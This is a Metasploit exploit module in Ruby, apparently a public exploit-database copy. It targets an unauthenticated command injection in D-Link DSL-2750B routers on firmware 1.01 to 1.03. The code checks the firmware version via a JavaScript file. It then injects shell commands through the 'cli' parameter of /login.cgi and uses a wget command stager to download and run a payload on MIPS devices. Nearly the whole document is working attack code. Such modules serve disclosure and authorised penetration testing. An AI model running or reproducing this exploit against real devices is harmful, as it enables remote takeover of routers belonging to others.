D-Link DSL-2750B OS Command Injection

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'D-Link DSL-2750B OS Command Injection',  
'Description' => %q(  
This module exploits a remote command injection vulnerability in D-Link DSL-2750B devices.  
Vulnerability can be exploited through "cli" parameter that is directly used to invoke  
"ayecli" binary. Vulnerable firmwares are from 1.01 up to 1.03.  
),  
'Author' =>  
[  
'p@ql', # vulnerability discovery  
'Marcin Bury <marcin[at]threat9.com>' # metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['PACKETSTORM', 135706],  
['URL', 'http://seclists.org/fulldisclosure/2016/Feb/53'],  
['URL', 'http://www.quantumleap.it/d-link-router-dsl-2750b-firmware-1-01-1-03-rce-no-auth/']  
],  
'Targets' =>  
[  
[  
'Linux mipsbe Payload',  
{  
'Arch' => ARCH_MIPSBE,  
'Platform' => 'linux'  
}  
],  
[  
'Linux mipsel Payload',  
{  
'Arch' => ARCH_MIPSLE,  
'Platform' => 'linux'  
}  
]  
],  
'DisclosureDate' => 'Feb 5 2016',  
'DefaultTarget' => 0))  
  
deregister_options('CMDSTAGER::FLAVOR')  
end  
  
def check  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => '/ayefeaturesconvert.js'  
)  
  
unless res  
vprint_error('Connection failed')  
return CheckCode::Unknown  
end  
  
unless res.code.to_i == 200 && res.body.include?('DSL-2750')  
vprint_status('Remote host is not a DSL-2750')  
return CheckCode::Safe  
end  
  
if res.body =~ /var AYECOM_FWVER="(\d.\d+)";/  
version = Regexp.last_match[1]  
vprint_status("Remote host is a DSL-2750B with firmware version #{version}")  
if version >= "1.01" && version <= "1.03"  
return Exploit::CheckCode::Appears  
end  
end  
  
CheckCode::Safe  
rescue ::Rex::ConnectionError  
vprint_error('Connection failed')  
return CheckCode::Unknown  
end  
  
def execute_command(cmd, _opts)  
payload = Rex::Text.uri_encode("multilingual show';#{cmd}'")  
send_request_cgi(  
{  
'method' => 'GET',  
'uri' => '/login.cgi',  
'vars_get' => {  
'cli' => "#{payload}$"  
},  
'encode_params' => false  
},  
5  
)  
rescue ::Rex::ConnectionError  
fail_with(Failure::Unreachable, "#{peer} Failed to connect to the web server")  
end  
  
def exploit  
print_status("#{peer} Checking target version...")  
  
unless check == Exploit::CheckCode::Appears  
fail_with(Failure::NotVulnerable, 'Target is not vulnerable')  
end  
  
execute_cmdstager(  
flavor: :wget,  
linemax: 200  
)  
end  
end  
`